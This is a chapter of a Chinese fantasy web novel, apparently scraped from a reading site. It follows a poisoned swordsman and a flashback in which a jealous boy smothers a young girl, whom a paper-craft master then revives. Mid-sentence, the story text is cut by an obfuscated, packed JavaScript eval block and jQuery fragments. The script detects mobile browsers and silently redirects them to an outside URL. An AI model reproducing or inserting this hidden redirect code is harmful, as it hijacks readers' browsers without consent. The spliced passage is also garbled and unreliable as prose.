默认冷灰
24号文字
方正启体

51. 竟然在笑

作者:照花影本书字数:K更新时间:
    血契能转移伤势,与被下契者同生共死。费清明没死,预示着解裁春安好。


    他已经搞砸了一回,不能再搞砸第二回。调整内息的费清明,触类旁通,就是一双眼红得厉害,尸毒已入侵进了脑髓,何时失了神志,大开杀戒都不一定。


    克制着脾性,以维持所剩不多的医德的赛孙思邈,站在安全距离外,用刀子削下一块苹果,用刀尖挑着,喉咙发出嘬嘬嘬嘬的声音,引导患者视线。


    费清明果断无视掉她,一味修复内伤。


    “赛孙姑娘。请不要将我的师弟当狗一样逗。”温孤怀璧说:“小师弟气息平稳,目前是清醒状态。还没完全丧失神智,不必太过忧虑。”


    那怎能不忧虑呢?赛孙思邈觉得他站着说话不腰疼。


    剑修这个派系,清醒时杀人,不清醒他也杀人。独树一帜的轴。指不定哪天搭错筋了,开展无差别杀戮,她哪能不战战兢兢?


    耗了半炷香检验完成患者状态,做出判断。


    尸毒成分复杂,侵蚀已久。先前有契约对象在旁,加以克制。辅助唢呐匠自带的震慑神魂的功效,一直压抑着没有发作。


    如今病人被打残了,身体、心灵、精神三方面遭到来自亲友重创,情况恐怕不容乐观。


    “依赛孙姑娘之见,要如何诊断才好?”温孤怀璧问道。


    “我是救不了了。前老谷主也不能给你挖起来诊断,我记得有位老前辈专门攻克该病症,名唤鹤……”想不起具体名字的赛孙思邈,手指骨敲敲太阳穴,“住在某个小镇来着……”


    “您说的是住在曲风镇的鹤顶洪老前辈吗?我们刚从那过来,不幸的是,她已驾鹤西去。”


    “那就追回来啊。”赛孙思邈下意识回。


    看到温孤怀璧始终维系着同一弧度的嘴角,才明白这是自古沿袭下来的委婉说辞。


    堂堂一介剑修,说起话来文绉绉的。怪叫人不习惯。


    她左右踱步,感到颇有些棘手。


    但凡修真都遵循一个定律,成仙之路平稳曲折,一步一脚印,上升得尤为艰难。然堕入魔道,轻而易举。修为能在短期内得到大幅度跃升,只需付出一点小小的代价。


    比如说,他人的性命,和在十业大界处处碰壁的良心。


    一般而言,个人或者团体作为同盟时,会比平时弱上三分,可一旦跳反,成为不可捉摸的敌手,就会实力暴涨,强化十倍有余。


    赛孙思邈顶多遏制一下尸毒,使它不继续像其他部位扩散,却无法拔除或者根治。


    这意味着她只能治理费清明的躯体,使他重回方便一力破千军的状态。配合上不知啥时会陷入混沌的意识,这不妥妥一行走的人形大杀器么?


    “你先把他捆严实点。”赛孙思邈嘱咐。


    在两人有来有回地商量费清明处理方式之际,解裁春的魂魄已从损坏的纸人,转到另一个纸人身上。采取就近原则,灵体归位。


    世间残余的唢呐匠人数稀少,技艺传承容易中道崩殂。


    人们对生向风靡然,又对死讳莫如深。寻常离不开生生死死的难题,可一提起丧葬行业,都会蹙起眉头。出门碰巧撞见了,就会认为当天触了霉头。


    一有个头痛脑热,发烧流鼻涕,甚至不需要出现以上症状,只要有点风吹草动,就会疑神疑鬼,笃定冲了污秽,对其忌讳更上一层楼。


    有的胆小怕事,担忧冲撞鬼神者,会加倍小心避让,远远瞧见了就绕道走。有的性子蛮横的,要么暗地里传播流言蜚语,要么干脆打上门去。


    一来二去,本就不受世人待见的丧葬行业更难以为继。


    诸如背尸人、赶尸人之类的行业,都是子夜过后才能出行。唯恐惊扰行路者。


    而苏尔奈、扎彩坊、仵作、缝尸匠相关的产业,禁止开设在热闹的街巷,只允许在无人问津,远离大众的偏僻角落建设。


    不知是出于阴差阳错,还是师父她老人家早有预防的缘故,晴大新在解裁春年少时期,就用抵债的名义,把她丢给扎彩坊齐天申教养。


    扎彩坊齐天申和她师父性情相投,都是大大咧咧的女性。就是咧过头了,不爱好手把手教人,带小孩的玩艺儿。不热衷参与栽培的过程,只乐意摘取最终的成果。


    懂得多的人,死得早。教育之事,懂得越少越好。


    她不是心疼孩子,每日精疲力尽依旧要管教的产妇,也不是刻意虐待孩子,好引起妻子怜惜,便于当甩手掌柜的丈夫,婚姻这道深井她根本不屑于涉入。


    “你是想当我丈夫吗?”晴大新对好友占人便宜的举止指指点点。


    “哦对,我这徒弟,她有点特别。”晴大新提示。


    “哪特别了?”


    “你看到就知道了。”


    好奇心害死人,不好奇亦是。


    把人接到手,齐天申瞅着处于离魂状态的娃娃,两眼痴呆,嘴角还挂着一条可疑的水渍,有种想把逃之夭夭的朋友逮回来,重新给人塞回去的冲动。


    她随手将傻愣愣,充其量能做到下雨天往家里跑的小孩,扔给外貌上比她大三、四岁的祁夜良带,内心没有一丁点的负担。


    太平盛世也罢,战乱时代也罢,多的是生下来无人管教的孩童,若不能做到自给自足,丰衣足食,迟早只会沦为沿路饿死的饿殍之一。


    祁夜良是个有出息的孩子,小小年纪,扛起家庭重担。下厨炒菜,收拾家务样样能干。


    在外帮着她看铺子,扎纸人,在内带痴傻的娃子,养得白白胖胖,腰围比他还宽上一圈。


    也许是变相的移情,联想到他早死的家人。


    怎奈出息过了头,连办坏事都心思缜密。连最后杀死她,都出色到不留一点余地。


    对躲避风波,暂时寄养在扎彩坊的解裁春,几乎操持着等同于抱养过来的亲属的期望,把遗失的亲情,缺漏的情谊,全数灌注在小孩那,远超过静水流深的溺爱。


    是一心一意的倾注,就算对方因自己源源不绝的输出,浇苗而死,也不会更改接近恐怖的专注度。


    撂挑子一时爽,细追究火葬场。


    齐天申不能明白,那种情感远比亲人更密切,因为他们血管中没有流淌着同一种血液,时常让祁夜良惴惴不安,冥冥中有得到的终有一日终会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15046460|162038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    流逝的惶恐感。


    甚至哄睡痴儿时,会情不自禁地噬咬着她的手腕,意图取得两人血液交换。


    你中有我,我中有你,就此融为一体,永不分离。


    他下口咬得深了,睡梦中的女孩吃痛,挣扎起来。嘴巴一撇,就开始呜呜咽咽地哭。嘴里喊着师父齐天申的名字。


    小孩子都是喜欢母亲的,就算是吃傻了的孩童也相似。


    祁夜良不由得感到了难言的嫉妒,像是一日日操持家务,辛勤付出,在作用上却被全然忽视了的家庭主妇。


    明明他才是那个带解裁春最多,也是最辛苦的人,而女童一旦出了事,受了委屈,第一反应想找的就是师父。


    他对解裁春的要求低到无下限,下雨天不晓得往家里跑也只会暗中惩戒自己,认定是自己的失误。然后给人烧热水,洗头洗澡,抱着人在火炉边烘烤,给她擦干净头发。


    而解裁春一心只顾着撒手不管的师父,哭啼起来就只要师父抱。


    “对不起,是我做错了。”


    祁夜良双手搂着解裁春,摁住她的挣扎。用比人更大的身量、体型,进行全方面压制,直到把人牢牢摁死在怀里,认清自己无处可去的事实,除了他的怀抱,哪也去不得。


    少年的嫉妒来的没有预兆,或早现征兆,只是没有警醒。


    等他发现怀里的人没了声息,脑袋如有五雷轰顶。


    以往的沉着冷静消失不见,只抱着软化了的尸体,从白天坐到黄昏。


    也没想起来跟师父求救。


    或许,在他心里,把解裁春假手于人,比失去她更令人刺痛。


    送完货品的齐天申回到家,发现了这一点。


    她抓了抓乱糟糟的头发,有点难以言喻。


    小孩静悄悄,一定在作妖。她这师父当的失职,没闲心理会小的,也没功夫料理大的,就搁那随便长长,像路边顽强生长的杂草。


    没曾想,草还会把自己绊倒。


    “让开。”齐天申揪住祁夜良后衣领,要把人扯开,祁夜良不避让,死死抱着女孩儿的尸体。


    嘿,这倔脾气。像谁呢,她可不记得自己有这么教导过。噢,她根本就没教导过。


    “想要她活,你就给我让。”齐天申冷声说道。祁夜良僵硬的眼球动了动,终于松了手,给她挪出一点操作空间。


    揭破了隐秘的齐天申,没什么好说的,反正这门技艺早晚要传给祁夜良,早一点看,晚一点看都没区别。


    只是和晴大新的交易,多了一人知晓。跟人承诺要守密的契约,没能履行。


    算了,也不差这一条半条,反正她也不是个重信之人。


    “你可瞧好了。你以后要继承我的衣钵的。”齐天申说完,对着解裁春的尸身开始忙活。祁夜良僵着身体,全程一眨不眨地看着,除了呼吸起伏带动全身肌肉之外,看不出他有活人的迹象。


    等到第二日天明,齐天申抱着傻乐的女孩,塞进他怀里,空荡荡的胸膛被填充,他的手指头才能够动弹。


    耗费心力的齐天申抬头,心里一疙瘩。


    祁夜良竟然在笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)